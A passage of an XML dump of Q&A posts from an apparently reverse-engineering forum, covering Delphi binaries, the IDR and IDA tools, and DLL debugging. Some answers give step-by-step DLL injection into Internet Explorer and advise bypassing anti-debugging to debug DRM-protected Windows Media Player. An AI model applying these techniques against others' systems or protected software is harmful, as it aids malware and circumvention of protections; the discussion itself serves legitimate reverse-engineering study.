the Borland website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delphi uses the fastcall convention, however it is different than Windows fastcall. The parameters are passed in this order : EAX, EDX, ECX, the others on the stack. For classes, the this pointer is passed in EAX. When a constructor is called, the structure of the class is passed in EAX and the this pointer is returned in EAX. Constructors can be identified as they call System::ClassCreate().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delphi uses Pascal-style strings. The length of the string is specified at the start of the string. Strings stored in the binary file are in C-style format, they first need to be converted by calling the LStrAsg method. To know where strings are used in the program you need to follow the converted string, a typical call will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, ds:off_497050        ; Pascal string&#xA;mov     edx, offset a1_37 ; C-style string &quot;1.37&quot;&#xA;call    @System@@LStrAsg$qqrpvpxv ; System::LStrAsg(void*,void*)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-02T04:50:35.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2726" PostTypeId="2" ParentId="2716" CreationDate="2013-09-02T12:45:18.647" Score="1" Body="&lt;p&gt;When reverse engineering a Delphi/C++ builder target I always use the IDR tool.&#xA;A very helpful feature is that IDR can generate a map file for Ida Pro.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IDR (Interactive Delphi Reconstructor) – a decompiler of executable&#xA;  files (EXE) and dynamic libraries (DLL), written in Delphi and&#xA;  executed in Windows32 environment.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The program firstly is intended for the companies, engaged by&#xA;  development of anti-virus software. It can also help programmers to&#xA;  recover lost source code of programs appreciably.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The current version of the program can process files (GUI and console&#xA;  applications), compiled by Delphi compilers of versions Delphi2 –&#xA;  DelphiXE2.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Final project goal is development of the program capable to restore&#xA;  the most part of initial Delphi source codes from the compiled file&#xA;  but IDR, as well as others Delphi decompilers, cannot do it yet.&#xA;  Nevertheless, IDR is in a status considerably to facilitate such&#xA;  process. In comparison with other well known Delphi decompilers the&#xA;  result of IDR analysis has the greatest completeness and reliability.&#xA;  Moreover interactivity does work with the program comfortable and (we&#xA;  shall not be afraid of this word) pleasant.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;IDR make static analysis (analyzed file is not loaded to memory and&#xA;  executed) that allows to safely investigate viruses, trojans and other&#xA;  malware applications, those which executing is dangerous or is not&#xA;  desirable.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The program does not require any installation activity and does not do&#xA;  any records in Windows registry.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Below screenshot of IDR main window is shown. You can find examples of&#xA;  IDR working results on separate page. For detailed acquaintance with&#xA;  opportunities IDR there is a help file in format CHM which can be&#xA;  downloaded on page of download or directly from this link.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1MoS6.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-09-02T12:45:18.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2727" PostTypeId="2" ParentId="2720" CreationDate="2013-09-02T16:33:56.120" Score="3" Body="&lt;p&gt;For those interested I found the: &lt;a href=&quot;https://www.codeaurora.org/cgit/external/ubicom/ubicom32/&quot; rel=&quot;nofollow&quot;&gt;GNU Toolchain including GDB&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-09-02T16:33:56.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2728" PostTypeId="1" AcceptedAnswerId="2729" CreationDate="2013-09-02T21:06:44.127" Score="9" ViewCount="10646" Body="&lt;p&gt;I want to debug a DLL when it is called from an application. For example, when Firefox calls &lt;code&gt;nss3.dll&lt;/code&gt; &quot;&lt;em&gt;NSS Builtin Trusted Root CAs&lt;/em&gt;&quot; to check HTTPS Certificates, I want to catch the &lt;code&gt;nss3.dll&lt;/code&gt; and debug all its transactions with a known debugger like OllyDBG or any other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to trace threads created and debug them ?&lt;/p&gt;&#xA;" OwnerUserId="2756" LastEditorUserId="53" LastEditDate="2013-09-06T08:27:31.413" LastActivityDate="2013-09-06T08:27:31.413" Title="How to debug DLL imported from an application?" Tags="|debuggers|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2729" PostTypeId="2" ParentId="2728" CreationDate="2013-09-02T21:22:23.833" Score="11" Body="&lt;p&gt;In OllyDBG and ImmunityDbg, in Options-&gt;Debugging Options-&gt; Events you have an option &quot;Break on new module&quot;. If this option is set, whenever a new DLL is loaded, Olly/Immdbg will break and let you do your business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windbg follow Debug-&gt; Event Filters, in the list you will find Load module, on the side set the options to &quot;Enabled&quot; and &quot;Handeled&quot; which will achieve the same result as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand you want to break on the specific function, you can check the DLL exports which lists all the functions exported by DLL. After the DLL is loaded, and the debugger breaks as per previously mentioned settings, you can then proceed to set the breakpoints on individual functions. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-09-02T21:22:23.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2730" PostTypeId="1" CreationDate="2013-09-02T21:37:01.333" Score="2" ViewCount="1209" Body="&lt;p&gt;When I try to debug Windows Media Player and play a movie this error message is shown: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Running this process under a debugger while using DRM content is not allowed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But with &lt;code&gt;drmdbg&lt;/code&gt; it can debug &lt;code&gt;wmplayer&lt;/code&gt; and play a movie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution to overcome this?&lt;/p&gt;&#xA;" OwnerUserId="2756" LastEditorUserId="1654" LastEditDate="2013-09-04T09:48:26.620" LastActivityDate="2013-09-04T09:48:26.620" Title="How to debug Windows Media Player without attach mode?" Tags="|debuggers|debugging|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2733" PostTypeId="5" CreationDate="2013-09-03T12:56:20.930" Score="0" Body="&lt;p&gt;IDA is arguably the most advanced disassembler on the market at the time of this writing. Created by &lt;a href=&quot;https://en.wikipedia.org/wiki/Ilfak_Guilfanov&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ilfak Guilfanov&lt;/a&gt; of &lt;a href=&quot;https://www.hex-rays.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex-Rays&lt;/a&gt; it is an invaluable tool for the reverse code engineer.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Main features/highlights&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;license allows you to reverse engineer IDA Pro itself&lt;/li&gt;&#xA;&lt;li&gt;the interactivity which has given it its name. That is, the reverse engineer will be able to give IDA cues where the heuristics fail. Aside from that many features make the disassembly more readable (definition of structures, constants, anterior/posterior comments, repeatable comments, auto-commented opcodes).&lt;/li&gt;&#xA;&lt;li&gt;can be scripted: since a few releases IDA includes a version of &lt;a href=&quot;http://code.google.com/p/idapython/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDAPython&lt;/a&gt;. Before that existed IDC, a C dialect initially, later extended to include C++-like language features.&lt;/li&gt;&#xA;&lt;li&gt;it is extensible: one can write plugins (even script plugins), processor modules, loaders and so on.&lt;/li&gt;&#xA;&lt;li&gt;it is cross-platform - run on Windows, Linux ans OS X.&lt;/li&gt;&#xA;&lt;li&gt;comes with a wealth of processor modules and loaders.&lt;/li&gt;&#xA;&lt;li&gt;highly customizable&lt;/li&gt;&#xA;&lt;li&gt;offering tools for &lt;a href=&quot;/questions/tagged/static-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;static-analysis&amp;#39;&quot; rel=&quot;tag&quot;&gt;static-analysis&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/dynamic-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;dynamic-analysis&amp;#39;&quot; rel=&quot;tag&quot;&gt;dynamic-analysis&lt;/a&gt; alike, such as connectivity to various local and remote debuggers (e.g. GDB, WinDbg) and Bochs to run snippets of &lt;a href=&quot;/questions/tagged/disassembly&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;disassembly&amp;#39;&quot; rel=&quot;tag&quot;&gt;disassembly&lt;/a&gt; or whole programs in a virtualized environment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Hex-Rays Decompiler Plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The decompiler plugin requires IDA Pro to run. It supports multiple architectures (as of 2017: x86, x64, ARM, ARM64 and PPC). It has to be purchased separately (not included with IDA).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows to create pseudo-code from functions identified inside the IDA disassembly and then interactively change aspects of that, give the decompiler further cues and so on. The pseudo-code is akin of C and will, in fact, sometimes compile out of the box on a C compiler.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blog&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hex-Rays runs a blog called &lt;a href=&quot;http://www.hexblog.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hexblog&lt;/a&gt; on which employees of the company describe scenarios of and give tips concerning IDA Pro usage.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Freeware version&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The biggest disadvantage to hobbyists and students would be the steep price point, but IDA's makers also offer a freeware version for download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The freeware version of IDA Pro, available &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, lacks many of the features of the paid versions such as processor modules and support for a wealth of executable file formats. It also doesn't seem to have the same plugin and SDK support that comes with the two paid versions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links to third-party resources&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openrce.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openrce.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.idabook.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.idabook.com/&lt;/a&gt; - also the two dead-tree editions of the book&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://old.idapalace.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://old.idapalace.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="60" LastEditDate="2017-06-24T18:32:32.760" LastActivityDate="2017-06-24T18:32:32.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2734" PostTypeId="4" CreationDate="2013-09-03T12:56:20.930" Score="0" Body="Interactive Disassembler Professional (formerly IDA Pro), a proprietary multi-platform disassembler by Hex-Rays." OwnerUserId="2035" LastEditorUserId="60" LastEditDate="2017-06-24T18:32:32.760" LastActivityDate="2017-06-24T18:32:32.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2735" PostTypeId="5" CreationDate="2013-09-03T12:57:20.293" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-03T12:57:20.293" LastActivityDate="2013-09-03T12:57:20.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2736" PostTypeId="4" CreationDate="2013-09-03T12:57:20.293" Score="0" Body="DLL Injection is a method of code injection in a Microsoft Windows environment." OwnerUserId="2035" LastEditorUserId="13506" LastEditDate="2018-11-17T20:44:12.233" LastActivityDate="2018-11-17T20:44:12.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2737" PostTypeId="2" ParentId="2510" CreationDate="2013-09-03T18:53:54.587" Score="2" Body="&lt;p&gt;To add to @jvoisin's answer, you can have a look at &lt;a href=&quot;https://github.com/kholia/checksec&quot; rel=&quot;nofollow&quot;&gt;checksec&lt;/a&gt; - python implementation of checksec.sh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both these scripts are simple (compared to mona.py) and should help you get started. &lt;/p&gt;&#xA;" OwnerUserId="2359" LastActivityDate="2013-09-03T18:53:54.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2738" PostTypeId="2" ParentId="1943" CreationDate="2013-09-04T05:18:30.127" Score="2" Body="&lt;p&gt;I think these questions from SO might help: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3344115/obfuscating-python-code&quot;&gt;Obfuscating Python code?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/261638/how-do-i-protect-python-code&quot;&gt;How do I protect Python code?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/576963/python-code-obfuscation&quot;&gt;Python Code Obfuscation [closed]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2359" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-09-04T05:18:30.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2739" PostTypeId="2" ParentId="2730" CreationDate="2013-09-04T06:43:37.783" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_Media_DRM#DRMDBG&quot; rel=&quot;nofollow&quot;&gt;DRMDBG&lt;/a&gt; is a debugger like &lt;a href=&quot;https://en.wikipedia.org/wiki/OllyDbg&quot; rel=&quot;nofollow&quot;&gt;OllyDbg&lt;/a&gt;, but it seems to be meant for a single executable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call stack of thread 00000E2C&#xA;Address    Stack      Procedure / arguments                                   Called from        Frame&#xA;01CC9FAC   7C8192E2   ? ntdll.ZwCreateProcessEx                               KERNEL32.7C8192DC&#xA;01CCA9FC   7C802362   ? KERNEL32.CreateProcessInternalW                       KERNEL32.7C80235D&#xA;01CCAA34   0047DD6E   ? &amp;lt;JMP.&amp;amp;kernel32.CreateProcessW&amp;gt;                        drmdbg.0047DD69    01CCAA30&#xA;01CCAA38   0016CF84     ModuleFileName = &quot;C:\Program Files\Windows Media Player\wmplayer.exe&quot;&#xA;01CCAA3C   00000000     CommandLine = NULL&#xA;01CCAA40   00000000     pProcessSecurity = NULL&#xA;01CCAA44   00000000     pThreadSecurity = NULL&#xA;01CCAA48   00000000     InheritHandles = FALSE&#xA;01CCAA4C   00000003     CreationFlags = DEBUG_PROCESS|DEBUG_ONLY_THIS_PROCESS&#xA;01CCAA50   00000000     pEnvironment = NULL&#xA;01CCAA54   00000000     CurrentDir = NULL&#xA;01CCAA58   0048A388     pStartupInfo = drmdbg.0048A388&#xA;01CCAA5C   0048A3CC     pProcessInfo = drmdbg.0048A3CC&#xA;01CCAA68   0047E9E3   drmdbg.0047DD0C                                         drmdbg.0047E9DE    01CCAA64&#xA;01CCFF68   0047F10B   ? drmdbg.0047E954                                       drmdbg.0047F106    01CCFF64&#xA;01CCFF74   00422149   drmdbg.0047F0F0                                         drmdbg.00422146    01CCFF70&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://en.wikipedia.org/wiki/WinDbg&quot; rel=&quot;nofollow&quot;&gt;WinDbg&lt;/a&gt; in a non-invasive way. Using stealth plugins in ollydbg can let you attach to wmplayer.exe. You need to identify antidebugging routines and bypass them.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1654" LastEditDate="2013-09-04T08:50:25.897" LastActivityDate="2013-09-04T08:50:25.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2740" PostTypeId="5" CreationDate="2013-09-04T07:01:16.907" Score="0" Body="&lt;p&gt;Exploit is the term used for a piece of code that (often maliciously) abuses vulnerabilities in code. This often affects the security of the vulnerable application or system and allows attackers to gain privileges they would otherwise be barred from etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the most notorious types of exploits is the so-called &lt;a href=&quot;https://en.wikipedia.org/wiki/Uncontrolled_format_string&quot; rel=&quot;nofollow&quot;&gt;uncontrolled format string&lt;/a&gt; which makes a whole class of functions (&lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;sprintf&lt;/code&gt;, etc.) vulnerable across a variety of programming languages and systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many more types of exploits exist. &lt;strong&gt;TBD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Recommended books:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exploiting Software: How to Break Code&lt;/li&gt;&#xA;&lt;li&gt;Gray Hat Hacking: The Ethical Hackers Handbook&lt;/li&gt;&#xA;&lt;li&gt;A Bug Hunter's Diary: A Guided Tour Through the Wilds of Software Security&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;External references:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Exploit_%28computer_security%29&quot; rel=&quot;nofollow&quot;&gt;Exploit (Computer Security) on Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.metasploit.com/&quot; rel=&quot;nofollow&quot;&gt;Metasploit&lt;/a&gt;, a framework to create, refine and share exploits&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="189" LastEditDate="2013-09-05T01:52:08.960" LastActivityDate="2013-09-05T01:52:08.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2741" PostTypeId="4" CreationDate="2013-09-04T07:01:16.907" Score="0" Body="Using techniques to change the behavior of an application or application component in order to use it to ones advantage. When used it is often referred to software exploitation where an attacker can take control of an applications execution flow in order to run arbitrary code." OwnerUserId="2035" LastEditorUserId="245" LastEditDate="2013-09-05T01:35:54.843" LastActivityDate="2013-09-05T01:35:54.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2742" PostTypeId="2" ParentId="2723" CreationDate="2013-09-04T08:10:38.617" Score="4" Body="&lt;p&gt;You could give a shot at dynamic binary visualization. There's an excellent presentation given by Christopher Domas at REcon as well at BlackHat 2013. The deck for REcon is available &lt;a href=&quot;http://recon.cx/2013/slides/Recon2013-Christopher%20Domas-The%20Future%20of%20RE-Dynamic%20Binary%20Visualization.pptx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the tool is out now in beta so you could give a try at it.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="53" LastEditDate="2013-09-04T08:24:43.477" LastActivityDate="2013-09-04T08:24:43.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2743" PostTypeId="2" ParentId="2730" CreationDate="2013-09-04T08:35:49.367" Score="2" Body="&lt;p&gt;Another (not easy) option could be to use a patched version of Wine (as it supports running Windows Media Player) and connect to the GDB remote debugger it offers. While it may sound weird I did that to debug, for example, Themida packed executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download a patch for Wine 1.2 (if I remember correctly) from here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/zerowine/files/Zerowine%202.0/zerowine.patch/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/zerowine/files/Zerowine%202.0/zerowine.patch/download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-09-04T08:35:49.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2744" PostTypeId="5" CreationDate="2013-09-04T08:42:05.437" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-04T08:42:05.437" LastActivityDate="2013-09-04T08:42:05.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2745" PostTypeId="4" CreationDate="2013-09-04T08:42:05.437" Score="0" Body="Little Puzzle Applications for Reverse Code Engineers, with the goal to break a protection scheme legally for exercise. These often have a lot of built-in security to prevent attackers from succeeding, at the end the reverse engineer often writes a so-called keygen (key generator) and a paper to show s/he succeeded and how." OwnerUserId="2035" LastEditorUserId="245" LastEditDate="2013-09-05T01:42:17.043" LastActivityDate="2013-09-05T01:42:17.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2746" PostTypeId="1" CreationDate="2013-09-04T11:28:29.783" Score="0" ViewCount="187" Body="&lt;p&gt;When I use Process Monitor to check &lt;code&gt;iexplore.exe&lt;/code&gt;, I see some operations like lock/read/write from &lt;code&gt;iexplore.exe&lt;/code&gt; to a specific file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do a modification to this specific file as &lt;code&gt;iexplore.exe&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: how can I make a running Internet Explorer instance modify a file?&lt;/p&gt;&#xA;" OwnerUserId="2756" LastEditorUserId="1562" LastEditDate="2013-09-04T14:30:18.040" LastActivityDate="2013-09-04T14:44:10.950" Title="How to modify a file from the process context of iexplore.exe?" Tags="|debuggers|" AnswerCount="2" CommentCount="4" ClosedDate="2013-11-01T06:28:34.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="2748" PostTypeId="2" ParentId="2746" CreationDate="2013-09-04T13:22:30.777" Score="3" Body="&lt;p&gt;One of the ways is to load your code into that process (&lt;em&gt;iexplore.exe&lt;/em&gt;) and hook the file creation/writing APIs. This will give you the way to alter that process IO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why would you do that? This will look like pretty malicious activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure, there is no way to solve your problem without doing what you've asked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - I hope what you are saying is true.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces&quot; rel=&quot;nofollow&quot;&gt;Code injection&lt;/a&gt; - will explain the injection with several examples:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Introduction&lt;br&gt;&#xA;  Windows Hooks&lt;br&gt;&#xA;  The CreateRemoteThread &amp;amp; LoadLibrary Technique&lt;br&gt;&#xA;    -- Interprocess Communications  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The CreateRemoteThread &amp;amp; WriteProcessMemory Technique&lt;br&gt;&#xA;    -- How to Subclass a Remote Control With this Technique&lt;br&gt;&#xA;     When to Use this Technique  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/49319/Easy-way-to-set-up-global-API-hooks&quot; rel=&quot;nofollow&quot;&gt;API Hooking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, do some searching on the subject of hooking, there are a lot info on the Net.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-09-04T14:44:10.950" LastActivityDate="2013-09-04T14:44:10.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2749" PostTypeId="2" ParentId="2746" CreationDate="2013-09-04T14:38:53.547" Score="3" Body="&lt;p&gt;Create a DLL with your code in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then write an EXE to perform the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;CreateProcess()&lt;/code&gt; or &lt;code&gt;OpenProcess()&lt;/code&gt; on Internet Explorer to get a handle to the Internet Explorer process.&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;VirtualAllocEx()&lt;/code&gt; to allocate memory in the IE process using the handle from Step 1.&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;WriteProcessMemory()&lt;/code&gt; to write the file path of your DLL into the memory allocated in Step 2.&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;CreateRemoteThread()&lt;/code&gt; to call &lt;code&gt;LoadLibrary()&lt;/code&gt; from IE's process to load the DLL whose path you just wrote into IE's memory in Step 3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These steps are discussed in greater detail at &lt;a href=&quot;http://resources.infosecinstitute.com/using-createremotethread-for-dll-injection-on-windows/&quot; rel=&quot;nofollow&quot;&gt;http://resources.infosecinstitute.com/using-createremotethread-for-dll-injection-on-windows/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-09-04T14:38:53.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2750" PostTypeId="2" ParentId="2723" CreationDate="2013-09-04T16:39:34.800" Score="9" Body="&lt;p&gt;You can try to use &lt;a href=&quot;https://code.google.com/p/binwalk/&quot;&gt;binwalk&lt;/a&gt;. It can be used in various ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Embedded file identification &lt;strong&gt;and&lt;/strong&gt; extraction&lt;/li&gt;&#xA;&lt;li&gt;Executable code identification&lt;/li&gt;&#xA;&lt;li&gt;Entropy analysis and graphing (useful for compression and encryption identification)&lt;/li&gt;&#xA;&lt;li&gt;&quot;Smart&quot; strings analysis &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could also try to open your file with &lt;a href=&quot;http://www.7-zip.org/&quot;&gt;7zip&lt;/a&gt;, since it supports a shitload of compression formats.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-09-04T16:39:34.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2752" PostTypeId="1" AcceptedAnswerId="2753" CreationDate="2013-09-05T07:14:52.263" Score="11" ViewCount="820" Body="&lt;p&gt;I am currently reversing a windows driver in order to write a Linux compatible driver for a DVB card, but I have come up against a small issue that I can work around, but if it is possible I would like to make it correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a function that part of which reads the 256 byte PCI config space into a local buffer that has been allocated on the stack. The decompilation shows the output as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned __int16 configSpaceBuffer[128];&#xA;&#xA;.... SNIP ...&#xA;&#xA;configSpace-&amp;gt;vtable-&amp;gt;tmRegisterAccess_ConfigSpace__tmIGetReg(&#xA;        configSpace,&#xA;        &amp;amp;address,&#xA;        4,&#xA;        configSpaceBuffer,&#xA;        256u,&#xA;        0)&#xA;&#xA; _this-&amp;gt;field_4A = v74;&#xA; _this-&amp;gt;field_4C = *(unsigned __int16 *)configSpaceBuffer;&#xA; _this-&amp;gt;field_4E = v75;&#xA; _this-&amp;gt;field_50 = v77;&#xA; _this-&amp;gt;field_52 = v76;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to fix the detected function variables to show the following instead?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; _this-&amp;gt;field_4A = configSpaceBuffer[0];&#xA; _this-&amp;gt;field_4C = configSpaceBuffer[1];&#xA; _this-&amp;gt;field_4E = configSpaceBuffer[2];&#xA; _this-&amp;gt;field_50 = configSpaceBuffer[6];&#xA; _this-&amp;gt;field_52 = configSpaceBuffer[8];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2768" LastEditorUserId="1548" LastEditDate="2013-10-24T19:54:32.387" LastActivityDate="2013-10-24T19:54:32.387" Title="Hex-Rays Decompiler: Buffer on the stack" Tags="|ida|hardware|decompiler|driver|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2753" PostTypeId="2" ParentId="2752" CreationDate="2013-09-05T07:38:59.573" Score="15" Body="&lt;p&gt;I found the solution. Double click the variable name (&lt;code&gt;configSpaceBuffer&lt;/code&gt; in this case) which brings up the stack window for the method where you can undefine the invalid variables and then define it as an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the output after this change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      _this-&amp;gt;ConfigSpace1 = configSpaceBuffer[1];&#xA;      _this-&amp;gt;ConfigSpace0 = configSpaceBuffer[0];&#xA;      _this-&amp;gt;ConfigSpace4 = LOBYTE(configSpaceBuffer[4]);&#xA;      _this-&amp;gt;ConfigSpace23 = configSpaceBuffer[23];&#xA;      _this-&amp;gt;ConfigSpace22 = configSpaceBuffer[22];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2768" LastActivityDate="2013-09-05T07:38:59.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
